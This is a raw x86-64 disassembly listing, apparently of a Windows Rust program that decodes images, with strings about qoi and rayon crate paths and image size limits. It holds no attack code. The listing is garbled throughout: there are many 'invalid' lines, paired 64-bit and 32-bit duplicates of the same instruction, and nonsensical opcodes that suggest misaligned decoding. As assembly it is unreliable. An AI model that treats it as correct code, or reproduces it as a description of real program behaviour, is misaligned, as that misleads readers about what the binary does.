lea rdx, [0x14025d8ef]
lea edx, [0x14025d8ef]
invalid
mov r8d, 2
add byte [rax], al
jmp case.0x140041933.85
inc rcx
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
ror dword [rbp + rcx*4 + 0x4c], 0x24
lea ecx, [rsp + 0x30]
and al, 0x30
xor byte [rcx - 0x77], cl
mov qword [r9], rcx
lea rcx, fcn.140009390
lea ecx, [0x1401fa5a8]
or dword [rax - 0x73], ecx
or eax, 0x1b7bad
lea ecx, [0x1401fa5a8]
mov qword [rsp + 0x20], rcx
and al, 0x20
lea rdx, [0x1401fa4b9]
lea edx, [0x1401fa4b9]
mov dl, 0x7a
sbb eax, dword [rax]
mov r8d, 6
mov eax, 6
mov rcx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
cmp bl, al
cmp bl, al
movabs rax, 0xe6b79c5a47eb1b61
invalid
pop r10
pushfq
mov bh, 0xe6
movabs rdx, 0xc0980b77d239904
ret
or dword [rbx + rax*8], ecx
lea rax, [rcx + 8]
lea eax, [rcx + 8]
lea eax, [rcx + 8]
or byte [rbp + rcx*4 + 0x41], cl
add dword [rax - 0x72b7ffc7], eax
cmp byte [rcx], 0
invalid
invalid
lea r8, [rcx + 1]
lea eax, [rcx + 1]
cmp byte [rcx], 0
cmp dword [rax], eax
lea rcx, fcn.140009390
or eax, 0x1b7e26
sbb eax, dword [rax]
lea rdx, fcn.14001ca7a
lea edx, [0x1401f9548]
jmp [rdx + 0x1b]
add byte [rax + 0xf], cl
ror dword [rcx + 0xf], 1
rol bl, 0xf
rol bl, 0xf
cmove rdx, rcx
cmove rax, r8
invalid
rol bl, 0xf
ret
movzx eax, byte [rcx]
mov dh, 1
lea rcx, [0x140289f68]
or al, 0x75
and al, 0
invalid
add byte [rbx + rcx*4 + 4], cl
ror dword [rax - 0x73], 0xd
invalid
invalid
invalid
mov r8, qword [rcx + rax*8]
lea rcx, str.TooManyColorsMissingColorPaletteInvalidMinCodeSizeEncodingErrorDetailFloatingPointPredictor
lea ecx, [0x140289f80]
sbb dword [rbp + 0x24], esi
add byte [rax - 0x75], cl
and al, 0
mov rax, qword [rcx + rax*8]
add al, 0xc1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
mov r9, qword [rdx + 0x18]
invalid
invalid
mov r9, qword [rdx + 0x18]
mov rdx, rax
mov edx, eax
mov edx, eax
ret 0xff49
jmp r9
jmp rcx
leave
sub bh, byte [rbx - 0x78516630]
movabs rdx, 0x69e389535041aae0
push r8
push rbx
mov ebx, esp
invalid
rcr byte [rcx - 0x45b77852], 1
scasb al, byte [rdi]
xchg dword [rax - 0x46], ecx
loopne case.0x14003f54f.105
push r8
push rbx
mov ebx, esp
imul eax, ebx, 0xe9098b48
mov ecx, dword [rcx]
jmp 0x140042a52
invalid
invalid
invalid
invalid
ret
mov ecx, dword [rcx]
jmp 0x140042a52
invalid
invalid
invalid
invalid
dec dword [rax - 0x75]
or ecx, ebp
invalid
add byte [rax], al
mov ecx, dword [rcx]
jmp case.0x1400422c1.126
add byte [rax], al
sub rsp, 0x38
sub esp, 0x38
movzx eax, byte [rcx]
lea r8, [0x14028bb4c]
add eax, 0x24909c
add byte [rcx + 0x63], cl
add al, 0x80
invalid
movsxd rax, dword [r8 + rax*4]
invalid
or byte [rcx + rax - 0x40], 0xff
add rax, r8
add eax, eax
jmp rax
loopne 0x140042b02
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd064]
adc eax, 0x1ba598
sbb byte [rax - 0x73], cl
adc eax, 0x1ba598
cwde
movsd dword [rdi], dword [rsi]
sbb eax, dword [rax]
jmp 0x140042c79
test al, 1
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd040]
adc eax, 0x1ba55c
sbb byte [rax - 0x73], cl
adc eax, 0x1ba55c
pop rsp
movsd dword [rdi], dword [rsi]
sbb eax, dword [rax]
jmp 0x140042d0c
and eax, dword [rdx]
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd039]
adc eax, 0x1ba53d
sbb byte [rax - 0x73], cl
adc eax, 0x1ba53d
cmp eax, 0xe9001ba5
movsd dword [rdi], dword [rsi]
sbb eax, dword [rax]
jmp 0x140042cc7
mov byte [rcx], 0
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fd087]
adc eax, 0x1ba573
sbb eax, dword [rax]
jmp 0x140042cac
xchg ebx, eax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fd06f]
adc eax, 0x1ba543
jmp 0x140042d0c
fild dword [rcx]
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd08b]
movsd dword [rdi], dword [rsi]
sbb eax, dword [rax]
sbb byte [rax - 0x73], cl
adc eax, 0x1ba547
movsd dword [rdi], dword [rsi]
sbb eax, dword [rax]
jmp 0x140042d0c
ret
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fd082]
adc eax, 0x1ba526
jmp 0x140042c79
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd099]
invalid
movsd dword [rdi], dword [rsi]
sbb eax, dword [rax]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd099]
invalid
movsd dword [rdi], dword [rsi]
sbb eax, dword [rax]
and eax, 0xe9001ba5
jmp 0x140042d0c
xchg ebx, eax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd05d]
adc eax, 0x1ba4d1
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x1ba4d1
add byte [rcx - 0x48], al
invalid
mov r8d, 7
add byte [rax], al
jmp 0x140042d2d
xchg esi, eax
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
invalid
invalid
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1401fd068]
lea edx, [0x1401fd068]
adc eax, 0x1ba4be
sbb eax, dword [rax]
jmp 0x140042cc7
sbb byte [rcx], al
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd03c]
sbb eax, dword [rax]
sbb byte [rax - 0x73], cl
lea edx, [0x1401fd03c]
adc eax, 0x1ba47a
sbb eax, dword [rax]
jmp 0x140042cac
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fd06b]
adc eax, 0x1ba491
sbb eax, dword [rax]
jmp 0x140042cac
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd079]
adc eax, 0x1ba487
adc eax, 0x1ba487
sbb eax, dword [rax]
jmp 0x140042cac
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
invalid
invalid
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fd066]
lea edx, [0x1401fd066]
adc eax, 0x1ba45c
sbb eax, dword [rax]
jmp 0x140042c79
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd045]
lea edx, [0x1401fd045]
jmp 0x140042cc7
movabs dword [0x48204a8b48000000], eax
mov eax, dword [rdx + 0x28]
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd051]
movsb byte [rdi], byte [rsi]
sbb eax, dword [rax]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd051]
movsb byte [rdi], byte [rsi]
sbb eax, dword [rax]
movsb byte [rdi], byte [rsi]
sbb eax, dword [rax]
jmp 0x140042d27
jmp 0x140042c3a
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd074]
sbb eax, dword [rax]
movsb byte [rdi], byte [rsi]
sbb eax, dword [rax]
jmp 0x140042c79
sub byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd090]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd090]
jmp 0x140042cac
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd037]
adc eax, 0x1ba3be
adc eax, 0x1ba3be
mov r8d, 2
jmp 0x140042d2d
test eax, 0x48000000
mov ecx, dword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd076]
movabs dword [0x204a8b482eeb001b], eax
sbb eax, dword [rax]
jmp 0x140042cc7
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x1ba39c
sbb byte [rax - 0x73], cl
adc eax, 0x1ba39c
mov r8d, 4
add byte [rax], al
jmp 0x140042d2d
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x1ba3bd
sbb byte [rax - 0x73], cl
adc eax, 0x1ba3bd
mov r8d, 3
jmp 0x140042d2d
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd07d]
jmp 0x140042d0c
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd094]
jmp 0x140042d0c
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x1ba340
sbb byte [rax - 0x73], cl
adc eax, 0x1ba340
mov r8d, 5
jmp 0x140042d2d
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd057]
invalid
sbb eax, dword [rax]
movabs dword [0x6b841001b], eax
mov r8d, 6
add rsp, 0x38
jmp rax
inc rcx
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rax, case.0x140059243.1
mov r8d, 7
mov rcx, rdx
mov rdx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
ret
lea r8, [0x1401fafa8]
mov edx, 0x11
call fcn.1401c6eb0
sbb byte [rax], al
int3
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
call case.0x140013145.142
test rax, rax
jne 0x1400449e4
mov al, byte [rdi + 0x38]
add al, 0xc0
ror byte [rax - 0x3cd7c7b9], 0x89
invalid
shr rsi, cl
xor eax, eax
cmp bl, 0x40
cmovae rsi, rax
invalid
invalid
mov qword [rdi + 0x30], rsi
jmp 0x1400449e4
ror byte [rax - 0x3cd7c7b9], 0x89
invalid
invalid
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
sub rsp, 0x30
movzx edi, dx
mov rax, 0xfffffffffffffffb
invalid
invalid
dec dword [rax + 0x29]
clc
lea rbx, str.invalid_seek_to_a_negative_or_overflowing_position
add rax, qword [rcx + 0x18]
add eax, dword [rcx + 0x18]
jae 0x140044a55
mov rsi, rcx
mov qword [rcx + 0x18], rax
sbb byte [r9 + 0x48d1f7d1], cl
lea eax, [rsp + 0x2b]
sbb byte [r9 + 0x48d1f7d1], cl
sbb byte [rcx + 0x48d1f7d1], cl
lea eax, [rsp + 0x2b]
mov byte [rax], r8b
mov byte [rax + 1], dl
mov byte [rsp + 0x2d], dh
mov byte [rax + 3], cl
mov byte [rsp + 0x2f], ch
mov r8d, 5
add byte [rax], al
mov eax, 5
add byte [rax], al
mov rcx, rsi
int1
mov rdx, rax
call case.0x140013145.142
test rax, rax
jne case.0x14003c2d3.365
mov rax, rbx
add rdi, qword [rsi + 0x18]
jb case.0x14003c2d3.365
mov qword [rsi + 0x18], rdi
xor eax, eax
jmp case.0x14003c2d3.365
shr bl, 3
mov rax, rbx
mov eax, ebx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rbx, r8
mov r14, rdx
mov rsi, rcx
invalid
mov r12d, 0x7fffffff
invalid
jg 0x140044ace
lea edi, [rsp + 0x28]
invalid
test rdi, rdi
je 0x140044ac4
cmp rdi, r12
mov r13d, 0x7fffffff
cmovb r13, rdi
cmovb ebp, edi
mov qword [rsp + 0x20], r13
mov rcx, r15
mov rdx, r14
mov r8d, 0x54414449
mov r8d, 0x54414449
mov r9, rbx
call fcn.140043a15
mov rax, qword [rsp + 0x28]
cmp rax, 6
jne 0x140044acb
sub rdi, r13
add rbx, r13
jmp 0x140044a86
mov eax, 6
jmp 0x140044ad4
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi + 8], xmm0
mov qword [rsi], rax
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
call fcn.140044b27
nop
add rsp, 0x40
pop rsi
ret
cmp dword [rdx], eax
jne case.0x14000d059.495
add rcx, 8
jmp fcn.14001ca7a
ret
jne case.0x14002e84a.307
mov rdx, rcx
mov byte [rcx + 0x4c], 1
and qword [rsp + 0x20], 0
lea rsi, [rsp + 0x28]
lea esi, [rsp + 0x28]
lea esi, [rsp + 0x28]
mov r9d, 1
mov rcx, rsi
add byte [rax - 0x77], cl
int1
mov r8d, 0x444e4549
call fcn.140043a15
mov rcx, rsi
mov ecx, esi
call fcn.140044b27
nop
add rsp, 0x40
invalid
pop rsi
ret
invalid
push rsi
push rdi
push rbx
sub rsp, 0x68
movaps xmmword [rsp + 0x50], xmm6
and al, 0x50
mov rbx, qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
cmp rbx, r8
ja 0x140044bec
mov rdi, r9
mov edi, ecx
mov rsi, rcx
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fqoi_0.4.1_srcutils.rs
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rbp + rcx*4 + 0x74], cl
and al, 0x30
lea r14, [rsp + 0x30]
mov rcx, r14
mov r9, rbx
call fcn.14005f4fb
test rax, 0xffffffff8b490001
invalid
mov rdx, qword [r14 + 8]
push rsi
or byte [rcx + 0xf], al
adc byte [rsi + 0x10], dh
test rax, 0xffffffff8b490001
add byte [rcx - 0x75], cl
invalid
push rsi
or byte [rcx + 0xf], al
adc byte [rsi + 0x10], dh
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fqoi_0.4.1_srcutils.rs
xor dl, byte [rcx + 0x1b]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x20], rax
mov r8, rdi
mov r9, rbx
call fcn.1401c59a4
invalid
or eax, 0x110f0018
jbe case.0x14002f357.294
invalid
jbe case.0x14002f357.294
mov byte [rsi], 9
movaps xmm6, xmmword [rsp + 0x50]
je fcn.140044c05
push rax
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
add byte [rbp + rcx*4 + 5], cl
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fqoi_0.4.1_srcutils.rs
mov edx, 0x28
add byte [rax], al
invalid
call fcn.1401c6f30
sbb byte [rax], al
int3
dec eax
mov byte [rdx], r9b
inc rdx
mov qword [rcx + 8], rdx
or byte [rcx + rcx*4 + 0x41], cl
invalid
mov byte [rcx], 9
add rsp, 0x28
ret
push rax
sbb eax, dword [rax]
mov edx, 0x28
call fcn.1401c6f30
int3
push rbx
sub rsp, 0x30
mov r9, r8
mov rdi, rcx
mov rsi, qword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
cmp rax, rsi
mov rbx, rsi
cmovb rbx, rax
invalid
invalid
mov r8, rdx
sub rsi, rbx
add rbx, qword [rcx + 8]
add ebx, dword [rcx + 8]
add ebx, dword [rcx + 8]
cmp r9, rsi
cmovb rsi, r9
cmp rsi, 1
jne 0x140044c7d
mov cl, byte [rbx]
mov byte [r8], cl
or bl, ch
invalid
or bl, ch
xor al, 0x48
lea eax, [0x1402649b0]
add eax, 0x21fd2c
std
and dword [rax], eax
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srcioimpls.rs
std
and dword [rax], eax
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, rsi
call fcn.140085969
invalid
or al, 4
add byte [rax - 0x73], cl
or eax, 0x21fd2e
or eax, 0x21fd2e
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rbx
and byte [rax - 0x77], cl
ror dword [rcx - 0x77], 0xd8
mov r9, rsi
call fcn.1401c59a4
mov rax, qword [rdi + 0x18]
invalid
invalid
add byte [rax - 0x75], cl
sbb byte [r8 + 1], r9b
add rax, rsi
mov qword [rdi + 0x18], rax
xor eax, eax
invalid
ror byte [rax - 0x77], 0xf2
mov rdx, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x1b8240
invalid
mov r8d, 0xc
jmp rax
sub esp, 0x48
mov rax, rdx
mov rcx, qword [rcx]
invalid
lea rdx, [rsp + 0x40]
mov qword [rdx], rcx
lea rcx, fcn.140009390
sbb dword es:[rbx], 0x4c894800
and al, 0x30
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 4
add byte [rax], al
invalid
and al, 0x20
and al, 0x20
add al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1b8100
lea rdx, [0x1401fce14]
lea edx, [0x1401fce14]
lea r9, str.kind
or eax, 0x21c7e5
mov r8d, 0xa
mov rcx, rax
mov ecx, eax
call fcn.14002b3e0
nop
add rsp, 0x48
mov bh, 0x66
invalid
ret
mov rax, qword [rcx]
mov r8, qword [rax]
add r8, 0xfffffffffffffffe
add eax, 0xfffffffe
cmp r8, 2
mov ecx, 2
add byte [rax], al
invalid
cmovb rcx, r8
test rcx, rcx
je case.0x14000e34e.460
cmp rcx, 1
jne case.0x1400230cc.452
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x1b80e6
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fce4e]
invalid
mov r8d, 0x12
jmp 0x140044d89
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x1b80bd
sbb byte [rbx], 0
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x1b80bd
sbb byte [rbx], 0
mov r8d, 0xe
add rsp, 0x68
jmp rax
jmp rax
jmp rax
lea rcx, [rax + 0x20]
lea r8, [rsp + 0x60]
mov qword [r8], rcx
lea rcx, fcn.140009390
sbb byte [rbx], 0
invalid
add byte [rax - 0x77], cl
and al, 0x50
push rax
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r8
lea rcx, str.supported
invalid
mov qword [rsp + 0x38], rcx
lea rcx, fcn.140009390
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
and al, 0x28
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x40], 9
mov qword [rsp + 0x20], 6
and byte [rsi], al
add byte [rax], al
add byte [rax], al
and byte [rsi], al
add byte [rax], al
add byte [rax], al
lea rax, case.0x14018de40.36
add byte [rax], al
lea rax, case.0x14018de40.36
add byte [rbp + rcx*4 + 0xd], cl
jbe 0x140044d68
lea r9, [0x1401fce60]
or eax, 0x1b8076
sbb eax, dword [rax]
mov r8d, 0xb
mov eax, 0xb
mov rcx, rdx
mov rdx, rax
ret 0x95e8
invalid
invalid
invalid
ret 0x95e8
call qword [rax + 0x68c48348]
nop
add rsp, 0x68
ret
in al, dx
mov byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
ror byte [rax - 0x73], 1
push rcx
invalid
ror byte [rax - 0x73], 1
push rcx
adc byte [rbp + rcx*4 - 0x7c], cl
lea r8, [rsp + 0x80]
mov qword [r8], rcx
add rcx, 0x18
lea r9, fcn.140009390
lea r8, [rsp + 0x80]
add byte [rax], al
mov qword [r8], rcx
add rcx, 0x18
lea r9, fcn.140009390
mov qword [rsp + 0x70], r9
mov dword [rsp + 0x70], ecx
and al, 0x70
mov qword [rsp + 0x68], r8
mov dword [rsp + 0x68], eax
lea r8, [0x1401fcf68]
mov qword [rsp + 0x58], r8
mov dword [rsp + 0x58], eax
and al, 0x58
xor al, byte [rcx - 0x76b3ffe5]
sbb dword [rbx], 0x44894c00
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x58
and al, 0x58
pop rax
lea r8, fcn.140009390
mov qword [rsp + 0x50], r8
and al, 0x50
push rax
mov qword [rsp + 0x48], rcx
lea rcx, str.max_image_heightmax_alloc
mov qword [rsp + 0x38], rcx
and al, 0x38
add eax, 0x48001b81
mov dword [rsp + 0x38], ecx
and al, 0x38
and al, 0x38
cmp byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
invalid
mov qword [rsp + 0x30], r8
xor byte [rax - 0x77], cl
push rsp
and al, 0x28
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x60], 9
or dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x40
adc byte [rax], al
mov qword [rsp + 0x40], 0x10
mov dword [rsp + 0x40], 0x10
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], 0xf
and al, 0x20
and byte [rdi], cl
add byte [rax], al
invalid
sldt word [rax]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x20878c
and byte [rax], al
lea rdx, str.Limits
and byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x1401fcf24]
lea ecx, [0x1401fcf24]
cdq
sbb byte [rbx], 0
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 6
mov rcx, rax
mov ecx, eax
mov ecx, eax
shr eax, 0xe7
call fcn.14002b580
nop
invalid
add rsp, 0x88
add byte [rax], al
add bl, al
ret
sub rsp, 0x38
sub esp, 0x38
cmp byte [rax - 0x75], cl
add dword [rax - 0x7d], ecx
cmp byte [rax], al
mov rax, qword [rcx]
cmp qword [rax], 0
je 0x140044ee5
add rax, 8
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
and al, 0x30
xor byte [rcx - 0x77], cl
add dword [rax - 0x73], ecx
add eax, 0x1b5966
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
add eax, 0x244ca2
lea rax, [0x140289b70]
lea eax, [0x140289b70]
mov r8d, 4
add byte [rax], al
mov rcx, rdx
ror dword [rax - 0x77], 1
ret 0xc1e8
mov rdx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
ret
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, case.0x140059243.0
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, case.0x140059243.0
lea edx, case.0x140059243.0
lea edx, case.0x140059243.0
je case.0x14002efaa.305
and al, 0
mov r8d, 4
add rsp, 0x38
jmp rax
mov eax, edx
mov rcx, qword [rcx]
lea rdx, [rcx + 0x20]
and byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
mov qword [r8], rdx
lea rdx, fcn.140009390
sbb eax, dword [rax]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], r8
lea rdx, [0x1401fab66]
add byte [rax - 0x77], cl
push rsp
and al, 0x38
add byte [rax - 0x77], cl
push rsp
and al, 0x38
lea rdx, fcn.14003f222
sar dword [rbp + 0x1b], 0
jge 0x140044f59
add byte [rax - 0x77], cl
push rsp
mov qword [rsp + 0x30], rdx
and al, 0x30
mov qword [rsp + 0x28], rcx
and al, 0x28
mov qword [rsp + 0x40], 0xa
and al, 0x40
or al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x20], 6
add byte [rax], al
lea rdx, [0x1401fce07]
movsd dword [rdi], dword [rsi]
jle 0x140044f7c
add byte [rbp + rcx*4 + 0xd], cl
lea edi, [rbp + 0x1b]
add byte [rcx - 0x48], al
lea r9, [0x1401fccf6]
lea ecx, [0x1401fccf6]
mov r8d, 0xd
mov eax, 0xd
or eax, 0x48000000
mov ecx, eax
mov rcx, rax
call fcn.14002b490
nop
add rsp, 0x68
invalid
call qword [rax + 0x68c48348]
add esp, 0x68
push 0xffffffffec8348c3
ret
cmp byte [rax - 0x75], cl
add dword [rax - 0x7d], ecx
cmp byte [rax], al
je 0x140044fbc
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rax
mov dword [rcx], eax
add dword [rax - 0x73], ecx
add eax, 0x1b556f
invalid
lea rax, fcn.140009390
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
